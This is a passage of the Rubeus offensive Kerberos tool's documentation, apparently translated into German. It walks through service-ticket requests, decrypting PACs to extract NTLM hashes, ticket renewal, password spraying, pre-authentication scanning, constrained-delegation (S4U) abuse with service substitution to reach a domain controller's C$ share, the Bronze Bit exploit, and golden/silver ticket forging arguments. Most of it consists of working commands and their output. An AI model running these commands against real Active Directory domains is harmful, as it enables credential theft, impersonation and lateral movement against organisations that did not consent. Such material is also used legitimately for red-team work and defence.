[*] Building User-to-User TGS-REQ request for: 'exploitph'
[+] TGS request successful!
[*] base64(ticket.kirbi):
doIFKzCCBSegAwIBBaEDAgEWooIEKzCCBCdhggQjMIIEH6ADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
cGxvaXRwaA==ServiceName : exploitph
ServiceRealm : RUBEUS.GHOSTPACK.LOCAL
UserName : ccob
UserRealm : RUBEUS.GHOSTPACK.LOCAL
StartTime : 20/07/2021 22:00:07
EndTime : 21/07/2021 07:59:39
RenewTill : 27/07/2021 21:59:39
Flags : name_canonicalize, pre_authent, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : u2AYdjG4gLNIXqzb3MmwtDtE1k2NR5ty9h80w704+8Q=
Decrypted PAC :
LogonInfo :
LogonTime : 01/01/1601 00:00:00
LogoffTime :
KickOffTime :
PasswordLastSet : 20/07/2021 21:58:44
PasswordCanChange : 21/07/2021 21:58:44
PasswordMustChange : 31/08/2021 21:58:44
EffectiveName : ccob
FullName : C Cob
LogonScript :
ProfilePath :
HomeDirectory :
HomeDirectoryDrive :
LogonCount : 0
BadPasswordCount : 0
UserId : 1109
PrimaryGroupId : 513
GroupCount : 1
Groups : 513
UserFlags : (32) EXTRA_SIDS
UserSessionKey : 0000000000000000
LogonServer : PDC1
LogonDomainName : RUBEUS
LogonDomainId : S-1-5-21-3237111427-1607930709-3979055039
UserAccountControl : (16) NORMAL_ACCOUNT
ExtraSIDCount : 1
ExtraSIDs : S-1-18-2
ResourceGroupCount : 0
ClientName :
Client Id : 20/07/2021 21:59:39
Client Name : ccob
UpnDns :
DNS Domain Name : RUBEUS.GHOSTPACK.LOCAL
UPN : [email protected]
Flags : 0
ServerChecksum :
Signature Type : KERB_CHECKSUM_HMAC_MD5
Signature : 79A2DC5595C76FA85155B4C65B3A0EE1 (VALID)
KDCChecksum :
Signature Type : KERB_CHECKSUM_HMAC_SHA1_96_AES256
Signature : DA57618BB48EA56371E374B1 (UNVALIDATED)
Wenn das PAC entschlüsselt werden kann (durch eine User-to-User-Anfrage oder durch Angabe des /servicekey), können die Argumente ausgegeben werden, die zum Fälschen eines Tickets mit denselben PAC-Werten erforderlich sind:
C:\Rubeus>Rubeus.exe asktgs /service:roast/me /printargs /servicekey:9FFB199F118556F579B415270EE835005227FCBF29331DAC27C4397AC353F52B /ticket:doIF9DCCBfCgAwIBBaEDAg...(snip)...cGFjay5sb2NhbA==
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Ask TGS
[*] Using domain controller: PDC1.rubeus.ghostpack.local (192.168.71.80)
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building TGS-REQ request for: 'roast/me'
[+] TGS request successful!
[*] base64(ticket.kirbi):
doIF6jCCBeagAwIBBaEDAgEWooIE5zCCBONhggTfMIIE26ADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
AgECoQ0wCxsFcm9hc3QbAm1l
ServiceName : roast/me
ServiceRealm : RUBEUS.GHOSTPACK.LOCAL
UserName : harmj0y
UserRealm : RUBEUS.GHOSTPACK.LOCAL
StartTime : 20/07/2021 00:02:27
EndTime : 20/07/2021 09:57:46
RenewTill : 26/07/2021 23:57:46
Flags : name_canonicalize, pre_authent, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : U9Vnk0QnOmByQqF7i+5ujkinm9pRrevcRhw1sKVEVi4=
Decrypted PAC :
LogonInfo :
LogonTime : 19/07/2021 23:00:38
LogoffTime :
KickOffTime :
PasswordLastSet : 14/07/2021 02:07:12
PasswordCanChange : 15/07/2021 02:07:12
PasswordMustChange :
EffectiveName : harmj0y
FullName : Harm J0y
LogonScript :
ProfilePath :
HomeDirectory :
HomeDirectoryDrive :
LogonCount : 8
BadPasswordCount : 0
UserId : 1106
PrimaryGroupId : 513
GroupCount : 1
Groups : 513
UserFlags : (32) EXTRA_SIDS
UserSessionKey : 0000000000000000
LogonServer : PDC1
LogonDomainName : RUBEUS
LogonDomainId : S-1-5-21-3237111427-1607930709-3979055039
UserAccountControl : (528) NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
ExtraSIDCount : 1
ExtraSIDs : S-1-18-1
ResourceGroupCount : 0
CredentialInfo :
Version : 0
EncryptionType : rc4_hmac
CredentialData : *** NO KEY ***
ClientName :
Client Id : 19/07/2021 23:57:46
Client Name : harmj0y
UpnDns :
DNS Domain Name : RUBEUS.GHOSTPACK.LOCAL
UPN : [email protected]
Flags : 0
ServerChecksum :
Signature Type : KERB_CHECKSUM_HMAC_SHA1_96_AES256
Signature : 96FA020562EE73B38D31AEEF (VALID)
KDCChecksum :
Signature Type : KERB_CHECKSUM_HMAC_SHA1_96_AES256
Signature : E7FDCBAF5F580DFB567DF102 (UNVALIDATED)
[*] Argumentliste für die Verwendung mit Rubeus' 'golden'- oder 'silver'-Befehlen wird ausgegeben:
/user:harmj0y /id:1106 /pgid:513 /logoncount:8 /badpwdcount:0 /sid:S-1-5-21-3237111427-1607930709-3979055039 /netbios:RUBEUS /displayname:"Harm J0y" /groups:513 /sids:S-1-18-1 /pwdlastset:"14/07/2021 02:07:12" /minpassage:1d /dc:PDC1.RUBEUS.GHOSTPACK.LOCAL /uac:NORMAL_ACCOUNT,DONT_EXPIRE_PASSWORD
Verwendung von PKINIT zum Anfordern eines TGT und anschließendes Anfordern eines User-to-User-Diensttickets, um Zugriff auf den im PAC gespeicherten NTLM-Hash zu erhalten (manuelles Ausführen des /getcredentials-Flags für asktgt):
C:\Rubeus>Rubeus.exe asktgs /u2u /asrepkey:CC9D16AB01D1BD0EF9EBD53C8AD536D9 /ticket:doIF9DCCBfCgAwIBBaED...(snip)...ay5sb2NhbA== /tgs:doIF9DCCBfCgAwIBBaED...(snip)...ay5sb2NhbA==
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Ask TGS
[*] Using domain controller: PDC1.rubeus.ghostpack.local (192.168.71.80)
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building User-to-User TGS-REQ request for: 'harmj0y'
[+] TGS request successful!
[*] base64(ticket.kirbi):
doIFxTCCBcGgAwIBBaEDAgEWooIE1DCCBNBhggTMMIIEyKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
RVVTLkdIT1NUUEFDSy5MT0NBTKkUMBKgAwIBAaELMAkbB2hhcm1qMHk=
ServiceName : harmj0y
ServiceRealm : RUBEUS.GHOSTPACK.LOCAL
UserName : harmj0y
UserRealm : RUBEUS.GHOSTPACK.LOCAL
StartTime : 19/07/2021 23:01:05
EndTime : 20/07/2021 09:00:38
RenewTill : 26/07/2021 23:00:38
Flags : name_canonicalize, pre_authent, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : Qm9zdwFIINSHAAmqaviuEw==
ASREP (key) : CC9D16AB01D1BD0EF9EBD53C8AD536D9
Decrypted PAC :
LogonInfo :
LogonTime : 19/07/2021 22:59:21
LogoffTime :
KickOffTime :
PasswordLastSet : 14/07/2021 02:07:12
PasswordCanChange : 15/07/2021 02:07:12
PasswordMustChange :
EffectiveName : harmj0y
FullName : Harm J0y
LogonScript :
ProfilePath :
HomeDirectory :
HomeDirectoryDrive :
LogonCount : 7
BadPasswordCount : 0
UserId : 1106
PrimaryGroupId : 513
GroupCount : 1
Groups : 513
UserFlags : (32) EXTRA_SIDS
UserSessionKey : 0000000000000000
LogonServer : PDC1
LogonDomainName : RUBEUS
LogonDomainId : S-1-5-21-3237111427-1607930709-3979055039
UserAccountControl : (528) NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
ExtraSIDCount : 1
ExtraSIDs : S-1-18-1
ResourceGroupCount : 0
CredentialInfo :
Version : 0
EncryptionType : rc4_hmac
CredentialData :
CredentialCount : 1
NTLM : C69A7EA908898C23B72E65329AF7E3E8
ClientName :
Client Id : 19/07/2021 23:00:38
Client Name : harmj0y
UpnDns :
DNS Domain Name : RUBEUS.GHOSTPACK.LOCAL
UPN : [email protected]
Flags : 0
ServerChecksum :
Signature Type : KERB_CHECKSUM_HMAC_MD5
Signature : ADEC4A1A7DF70D0A61047E510E778454 (VALID)
KDCChecksum :
Signature Type : KERB_CHECKSUM_HMAC_SHA1_96_AES256
Signature : 6CF688E02147BEEC168E0125 (UNVALIDATED)
Hinweis: Der /asrepkey aus dem TGT-Abruf muss angegeben werden, um den CredentialData-Abschnitt zu entschlüsseln, in dem der NTLM-Hash gespeichert ist, aber das Argument /servicekey wird hier nicht benötigt, da der Sitzungsschlüssel aus dem TGT verwendet wird, da es sich um eine User-to-User-Anfrage handelt.
Anfordern eines Diensttickets unter Verwendung der aktuell angemeldeten Sitzung:``` Rubeus.exe asktgs /service:LDAP/dc.ghostpack.local /nowrap
(_____ \ | | ) ) | | _____ _ _ ___ | __ /| | | | _ | ___ | | | |/) | | \ | || | |) ) | || | | || ||/|/|_____)__/(_/
v2.3.3
[*] Action: Ask TGS
[=] Requesting service ticket via LSA authentication package 2 using handle 0x9625072 [*] base64(ticket.kirbi):
doIGvDCCBrigAwIBBaEDAg(..snip..)
ServiceName : LDAP/dc.ghostpack.local ServiceRealm : GHOSTPACK.LOCAL UserName : CCob (NT_PRINCIPAL) UserRealm : GHOSTPACK.LOCAL StartTime : 25/02/2025 09:08:11 EndTime : 25/02/2025 18:48:39 RenewTill : 03/03/2025 12:47:40 Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable KeyType : aes256_cts_hmac_sha1 Base64(key) : k2xUOHFN1Xg(...snip...)
Anfordern des TGT des lokalen Computerkontos über Erneuerung. Erfordert lokale Administratorrechte. Wenn Credential Guard vorhanden ist, ist die Nutzung des Tickets außerhalb des Hosts nicht möglich.```
Rubeus.exe asktgs /service:krbtgt/ghostpack.local /luid:0x3e7
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.3
[*] Action: Ask TGS
[=] Requesting service ticket via LSA authentication package 2 using handle 0x10441184
[*] base64(ticket.kirbi):
doIGuTCCBrWg(...snip...)IFhb3MuZGV2
ServiceName : krbtgt/ghostpack.local
ServiceRealm : GHOSTPACK.LOCAL
UserName : DC$ (NT_PRINCIPAL)
UserRealm : GHOSTPACK.LOCAL
StartTime : 25/02/2025 09:18:37
EndTime : 25/02/2025 11:35:10
RenewTill : 02/03/2025 10:35:06
Flags : name_canonicalize, pre_authent, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : k2xUOHFN1Xg(...snip...)
Die Aktion renew erstellt/parst einen rohen TGS-REQ/TGS-REP TGT-Erneuerungsaustausch unter Verwendung des angegebenen /ticket:X. Dieser Wert kann eine Base64-Kodierung einer .kirbi-Datei oder der Pfad zu einer .kirbi-Datei auf der Festplatte sein. Wenn kein /dc angegeben wird, wird der aktuelle Domänencontroller des Computers extrahiert und als Ziel für den Erneuerungsverkehr verwendet. Das Flag /ptt führt ein "Pass-the-Ticket" durch und wendet die resultierenden Kerberos-Anmeldedaten auf die aktuelle Anmeldesitzung an.
Beachten Sie, dass TGTs vor ihrer Endzeit innerhalb des RenewTill-Fensters erneuert werden MÜSSEN.
C:\Rubeus>Rubeus.exe renew /ticket:ticket.kirbi /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Renew TGT
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ renewal for: 'TESTLAB.LOCAL\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 1506 bytes
[*] Received 1510 bytes
[+] TGT renewal request successful!
[*] base64(ticket.kirbi):
doIFmjCCBZagAwIBBaEDAgEWoo...(snip)...
[*] Action: Import Ticket
[+] Ticket successfully imported!
Das Flag /autorenew nimmt eine vorhandene /ticket:X .kirbi-Datei/-Blob, wartet bis endTime-30 Minuten, erneuert das Ticket automatisch und zeigt das aktualisierte Ticket-Blob an. Dieser Erneuerungsprozess wird fortgesetzt, bis das zulässige Renew-Till-Fenster abläuft.
C:\Rubeus>Rubeus.exe renew /ticket:doIFmjCCBZagAwIBBaEDAgEWoo...(snip)... /autorenew
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Auto-Renew TGT
[*] User : [email protected]
[*] endtime : 2/10/2019 11:44:09 PM
[*] renew-till : 2/17/2019 6:44:09 PM
[*] Sleeping for 263 minutes (endTime-30) before the next renewal
[*] Renewing TGT for [email protected]
[*] Action: Renew TGT
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ renewal for: 'TESTLAB.LOCAL\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 1506 bytes
[*] Received 1510 bytes
[+] TGT renewal request successful!
[*] base64(ticket.kirbi):
doIFmjCCBZagAwIBBaEDAgEWoo...(snip)...
Die Aktion brute führt einen Kerberos-basierten Passwort-Brute-Force- oder Password-Spraying-Angriff durch. spray kann auch als Aktionsname verwendet werden.
C:\Rubeus>Rubeus.exe brute /password:Password123!! /noticket
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
[-] Blocked/Disabled user => Guest
[-] Blocked/Disabled user => DefaultAccount
[-] Blocked/Disabled user => krbtgt
[-] Blocked/Disabled user => disabled
[+] STUPENDOUS => newuser:Password123!!
[*] base64(newuser.kirbi):
doIFLDCCBSigAwIBBaEDAgEWooIELDCCBChhggQkMIIEIKADAgEFoRAbDlR...(snip)...
Die Aktion preauthscan sendet AS-REQs für alle Benutzernamen, die im Argument /users übergeben werden, um Konten zu entdecken, die keine Kerberos-Vorauthentifizierung erfordern.
C:\Rubeus>Rubeus.exe preauthscan /users:uns.txt /domain:semperis.lab /dc:192.168.71.220
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.0
[*] Action: Scan for accounts not requiring Kerberos Pre-Authentication
[*] cclark: Pre-Auth Required
[*] jjones: Pre-Auth Not Required
[*] rwilliams: Pre-Auth Required
[*] svc_sqlserver: Pre-Auth Required
[*] pgreen: Pre-Auth Required
[*] jsmith: Pre-Auth Required
[*] tnahum: Pre-Auth Required
[*] sfederovsky: Pre-Auth Required
Aufschlüsselung der Befehle für eingeschränkte Delegierung:
| Command | Description |
|---|---|
| s4u | S4U2self- und S4U2proxy-Aktionen durchführen |
Die Aktion s4u ist nahezu identisch mit der tgs::s4u-Funktionalität von Kekeo. Wenn ein Benutzer- (oder Computer-)Konto für eingeschränkte Delegierung konfiguriert ist (d.h. einen SPN-Wert im Feld msds-allowedtodelegateto hat), kann diese Aktion verwendet werden, um den Zugriff auf das Ziel-SPN/den Zielserver zu missbrauchen. Eingeschränkte Delegierung ist komplex. Weitere Informationen finden Sie in diesem Beitrag oder in Elad Shamirs Beitrag "Wagging the Dog".
Eine TL;DR-Erklärung: Ein Konto mit aktivierter eingeschränkter Delegierung darf Tickets für sich selbst als beliebiger Benutzer anfordern, in einem Prozess, der als S4U2self bekannt ist. Damit ein Konto dies tun darf, muss TrustedToAuthForDelegation in seiner useraccountcontrol-Eigenschaft aktiviert sein, was standardmäßig nur von erhöhten Benutzern geändert werden kann. Dieses Ticket hat standardmäßig das Flag FORWARDABLE gesetzt. Der Dienst kann dann dieses speziell angeforderte Ticket verwenden, um ein Dienstticket für jeden Dienstprinzipalnamen (SPN) anzufordern, der im Feld msds-allowedtodelegateto des Kontos angegeben ist. Kurz gesagt: Wenn Sie die Kontrolle über ein Konto haben, bei dem TrustedToAuthForDelegation gesetzt ist und ein Wert in msds-allowedtodelegateto vorhanden ist, können Sie sich gegenüber den im Feld msds-allowedtodelegateto des Kontos festgelegten SPNs als beliebiger Benutzer in der Domäne ausgeben.
Diese "Kontrolle" kann der Hash des Kontos (/rc4 oder /aes256) oder ein bestehendes TGT (/ticket:X) für das Konto mit einem gesetzten Wert msds-allowedtodelegateto sein. Wenn ein /user und ein rc4/aes256-Hash angegeben werden, führt das Modul s4u zunächst eine asktgt-Aktion aus und verwendet das zurückgegebene Ticket für die folgenden Schritte. Wenn ein TGT /ticket:X angegeben wird, wird dieses TGT stattdessen verwendet.
Wenn ein Kontohash angegeben wird, kann der Schalter /nopac verwendet werden, um das anfängliche TGT ohne PAC anzufordern.
Die Verwendung eines KDC-Proxys (MS-KKDCP) zur Durchführung der Anfragen ist mit dem Argument /proxyurl:URL möglich. Die vollständige URL für den KDC-Proxy ist erforderlich, z.B. https://kdcproxy.exmaple.com/kdcproxy. Bei Verwendung für den Befehl s4u werden alle Anfragen über den Proxy gesendet.
Ein Parameter /impersonateuser:X MUSS an das Modul s4u übergeben werden. Wenn nichts anderes angegeben wird, wird nur der S4U2self-Prozess ausgeführt, der ein forwardable Ticket zurückgibt:
C:\Rubeus>Rubeus.exe s4u /user:patsy /rc4:2b576acbe6bcfda7294d6bd18041b8fe /impersonateuser:dfm.a
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\patsy'
[*] Connecting to 192.168.52.100:88
[*] Sent 230 bytes
[*] Received 1377 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIE+jCCBPagAwIBBaEDAgEWoo...(snip)...
[*] Action: S4U
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2self request for: 'TESTLAB.LOCAL\patsy'
[*] Sending S4U2self request
[*] Connecting to 192.168.52.100:88
[*] Sent 1437 bytes
[*] Received 1574 bytes
[+] S4U2self success!
[*] Got a TGS for '[email protected]' to 'TESTLAB.LOCAL\patsy'
[*] base64(ticket.kirbi):
doIF2jCCBdagAwIBBaEDAgEWoo...(snip)...
Dieses forwardable Ticket kann dann als Parameter /tgs:Y (Base64-Blob oder .kirbi-Datei) verwendet werden, um den S4U2proxy-Prozess auszuführen. Ein gültiger msds-allowedtodelegateto-Wert für das Konto muss angegeben werden (/msdsspn:X). Angenommen, das Konto [email protected] sieht wie folgt aus:
PS C:\> Get-DomainUser patsy -Properties samaccountname,msds-allowedtodelegateto | Select -Expand msds-allowedtodelegateto
ldap/PRIMARY.testlab.local/testlab.local
ldap/PRIMARY
ldap/PRIMARY.testlab.local/TESTLAB
ldap/PRIMARY/TESTLAB
ldap/PRIMARY.testlab.local/DomainDnsZones.testlab.local
ldap/PRIMARY.testlab.local/ForestDnsZones.testlab.local
ldap/PRIMARY.testlab.local
Dann wäre die S4U2proxy-Missbrauchsfunktion (unter Verwendung des Tickets aus dem vorherigen S4U2self-Prozess):
C:\Rubeus>Rubeus.exe s4u /ticket:doIE+jCCBPagAwIBBaEDAgEWoo..(snip).. /msdsspn:"ldap/PRIMARY.testlab.local" /tgs:doIF2jCCBdagAwIBBaEDAgEWoo..(snip)..
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: S4U
[*] Loaded a TGS for TESTLAB.LOCAL\[email protected]
[*] Impersonating user '[email protected]' to target SPN 'ldap/PRIMARY.testlab.local'
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2proxy request for service: 'ldap/PRIMARY.testlab.local'
[*] Sending S4U2proxy request
[*] Connecting to 192.168.52.100:88
[*] Sent 2641 bytes
[*] Received 1829 bytes
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'ldap/PRIMARY.testlab.local':
doIGujCCBragAwIBBaEDAgEWoo..(snip)..
Wobei /ticket:X das im ersten Schritt zurückgegebene TGT ist und /tgs das S4U2self-Ticket. Das Injizieren des resultierenden Tickets (manuell mit Rubeus.exe ptt /ticket:X oder durch Angabe des Flags /ptt an den Befehl s4u) ermöglicht Ihnen den Zugriff auf den ldap-Dienst auf primary.testlab.local, als ob Sie dfm.a wären.
Der Parameter /altservice nutzt die großartige Entdeckung von Alberto Solino darüber, wie der Dienstname (sname) in der KRB-CRED-Datei nicht geschützt ist, sondern nur der Servername. Dies ermöglicht es uns, in der resultierenden KRB-CRED-Datei (.kirbi) einen beliebigen Dienstnamen einzusetzen. Ein oder mehrere alternative Dienstnamen können kommagetrennt angegeben werden (/altservice:cifs,HOST,...).
Erweitern wir das vorherige Beispiel, indem wir uns durch Missbrauch der Konfiguration der eingeschränkten Delegierung und der Substitution des alternativen Dienstes Zugang zum Dateisystem auf primary.testlab.local verschaffen. Fassen wir alles in einem Schritt zusammen, mit einer TGT-Anfrage, S4U2self-Prozess, S4U2proxy-Ausführung und Injektion des endgültigen Tickets:
C:\Rubeus>dir \\primary.testlab.local\C$
Access is denied.
C:\Rubeus>Rubeus.exe s4u /user:patsy /rc4:2b576acbe6bcfda7294d6bd18041b8fe /impersonateuser:dfm.a /msdsspn:"ldap/PRIMARY.testlab.local" /altservice:cifs /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\patsy'
[*] Connecting to 192.168.52.100:88
[*] Sent 230 bytes
[*] Received 1377 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIE+jCCBPagAwIBBaEDAgEWoo..(snip)..
[*] Action: S4U
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2self request for: 'TESTLAB.LOCAL\patsy'
[*] Sending S4U2self request
[*] Connecting to 192.168.52.100:88
[*] Sent 1437 bytes
[*] Received 1574 bytes
[+] S4U2self success!
[*] Got a TGS for '[email protected]' to 'TESTLAB.LOCAL\patsy'
[*] base64(ticket.kirbi):
doIF2jCCBdagAwIBBaEDAgEWoo..(snip)..
[*] Impersonating user 'dfm.a' to target SPN 'ldap/PRIMARY.testlab.local'
[*] Final ticket will be for the alternate service 'cifs'
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2proxy request for service: 'ldap/PRIMARY.testlab.local'
[*] Sending S4U2proxy request
[*] Connecting to 192.168.52.100:88
[*] Sent 2641 bytes
[*] Received 1829 bytes
[+] S4U2proxy success!
[*] Substituting alternative service name 'cifs'
[*] base64(ticket.kirbi) for SPN 'cifs/PRIMARY.testlab.local':
doIGujCCBragAwIBBaEDAgEWoo..(snip)..
[*] Action: Import Ticket
[+] Ticket successfully imported!
C:\Rubeus>dir \\primary.testlab.local\C$
Volume in drive \\primary.testlab.local\C$ has no label.
Volume Serial Number is A48B-4D68
Directory of \\primary.testlab.local\C$
07/05/2018 12:57 PM <DIR> dumps
03/05/2017 04:36 PM <DIR> inetpub
08/22/2013 07:52 AM <DIR> PerfLogs
04/15/2017 05:25 PM <DIR> profiles
08/28/2018 11:51 AM <DIR> Program Files
08/28/2018 11:51 AM <DIR> Program Files (x86)
10/09/2018 12:04 PM <DIR> Temp
08/23/2018 03:52 PM <DIR> Users
10/25/2018 01:15 PM <DIR> Windows
1 File(s) 9 bytes
9 Dir(s) 40,511,676,416 bytes free
Standardmäßig bestehen mehrere Unterschiede zwischen den von Rubeus generierten und den echten S4U2Self- und S4U2Proxy-TGS-REQ-Anfragen. Um die TGS-REQ-Anfragen eher an echte Anfragen anzupassen, kann das Flag /opsec verwendet werden. Da dieses Flag den Rubeus-Verkehr weniger auffällig machen soll, kann es standardmäßig nicht mit einem anderen Verschlüsselungstyp als aes256 verwendet werden und gibt lediglich eine Warnung aus und beendet sich, wenn ein anderer Verschlüsselungstyp verwendet wird. Um die Verwendung anderer Verschlüsselungstypen mit den Änderungen von /opsec zu ermöglichen, gibt es das Flag /force. Das Flag /opsec wurde für domänenübergreifende S4U noch nicht implementiert.
Der Bronze Bit-Exploit (CVE-2020-17049) wird mit dem Flag /bronzebit implementiert. Durch Hinzufügen dieses Flags wird beim Abrufen des S4U2Self-Tickets automatisch das forwardable-Flag umgeschaltet. Da das Umschalten dieses Flags das Entschlüsseln und Wiederverschlüsseln des Diensttickets erfordert, ist der langfristige Schlüssel (Passwort-Hash des Dienstkontos) erforderlich. Aus diesem Grund sind bei Bereitstellung eines TGT auch die Anmeldedaten des Dienstkontos erforderlich, damit dies funktioniert.
Es ist unter bestimmten Umständen möglich, ein S4U2Self-Ticket zu verwenden, um geschützte Benutzer zu imitieren und so Privilegien auf dem anfordernden System zu eskalieren, wie hier erläutert. Zu diesem Zweck können das Flag /self und das Argument /altservice:X verwendet werden, um ein brauchbares Dienstticket zu generieren.
Um eine S4U2Self-Referral zu fälschen, ist nur der Vertrauensschlüssel erforderlich. Durch die Verwendung des Arguments /targetdomain:X mit dem Flag /self und ohne das Argument /targetdc behandelt Rubeus das mit /ticket:X bereitgestellte Ticket als S4U2Self-Referral und fordert nur das endgültige S4U2Self-Dienstticket an. /altservice:X kann auch verwendet werden, um den sname im resultierenden Ticket umzuschreiben:
C:\Rubeus>Rubeus.exe s4u /self /targetdomain:internal.zeroday.lab /dc:idc1.internal.zeroday.lab /impersonateuser:external.admin /domain:external.zeroday.lab /altservice:host/isql1.internal.zeroday.lab /nowrap /ticket:C:\temp\s4u2self-referral.kirbi
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
[*] Action: S4U
[*] Action: S4U
[*] Using domain controller: idc1.internal.zeroday.lab (192.168.71.20)
[*] Requesting the cross realm 'S4U2Self' for [email protected] from idc1.internal.zeroday.lab
[*] Sending cross realm S4U2Self request
[+] cross realm S4U2Self success!
[*] Substituting alternative service name 'host/isql1.internal.zeroday.lab'
[*] base64(ticket.kirbi):
doIFETCCBQ...RheS5sYWI=
Aufschlüsselung der Ticketfälschungsbefehle:
| Command | Description |
|---|---|
| golden | Ein Ticket-Granting-Ticket (TGT) fälschen |
| silver | Ein Dienstticket fälschen, kann auch TGTs fälschen |
| diamond | Ein Diamond-Ticket fälschen |
Es gibt viele Gemeinsamkeiten zwischen den Befehlen golden und silver, der Grund für ihre Trennung ist die Vereinfachung des Befehls golden. Diensttickets können viel komplexer sein als TGTs mit unterschiedlichen Schlüsseln und zusätzlichen Abschnitten. Während TGTs mit dem Befehl silver gefälscht werden können, bietet golden weniger potenzielle Argumente, da die für TGTs nicht relevanten Funktionen nicht vorhanden sind.
Die meisten Argumente für beide Befehle dienen zum Setzen von PAC-Feldern und sollten weitgehend selbsterklärend sein. Diese sind:| Argument | Beschreibung |
|----------|-------------|
| /user | Wird als Benutzer verwendet, für den Details abgefragt werden, wenn /ldap übergeben wird, aber auch, um das EffectiveName-Feld im PAC und das cname-Feld im EncTicketPart zu setzen |
| /dc | Gibt den Domänencontroller für die LDAP-Abfrage an, wenn /ldap übergeben wird, aber auch zum Setzen des LogonServer-Felds im PAC |
| /netbios | Setzt das LogonDomainName-Feld im PAC |
| /sid | Setzt das LogonDomainId-Feld im PAC |
| /id | Setzt das UserId-Feld im PAC (Standard: 500) |
| /displayname | Setzt das FullName-Feld im PAC |
| /logoncount | Setzt das LogonCount-Feld im PAC (Standard: 0) |
| /badpwdcount | Setzt das BadPasswordCount-Feld im PAC (Standard: 0) |
| /uac | Setzt das UAC-Feld im PAC (Standard: NORMAL_ACCOUNT) |
| /pgid | Setzt das PrimaryGroupId-Feld im PAC und wird auch zum /groups-Feld hinzugefügt (Standard: 513) |
| /groups | Kommasepariert. Setzt das Groups-Feld im PAC, wobei auch /pgid hinzugefügt wird. Die Gesamtzahl dient auch zur Berechnung des GroupCount-Felds (Standard: 520,512,513,519,518) |
| /homedir | Setzt das HomeDirectory-Feld im PAC |
| /homedrive | Setzt das HomeDirectoryDrive-Feld im PAC |
| /profilepath | Setzt das ProfilePath-Feld im PAC |
| /scriptpath | Setzt das LogonScript-Feld im PAC |
| /logofftime | Setzt das LogoffTime-Feld im PAC. Im lokalen Zeitformat – wird automatisch in UTC umgewandelt |
| /lastlogon | Setzt das LogonTime-Feld im PAC. Im lokalen Zeitformat – wird automatisch in UTC umgewandelt (Standard: starttime - 1 Sekunde) |
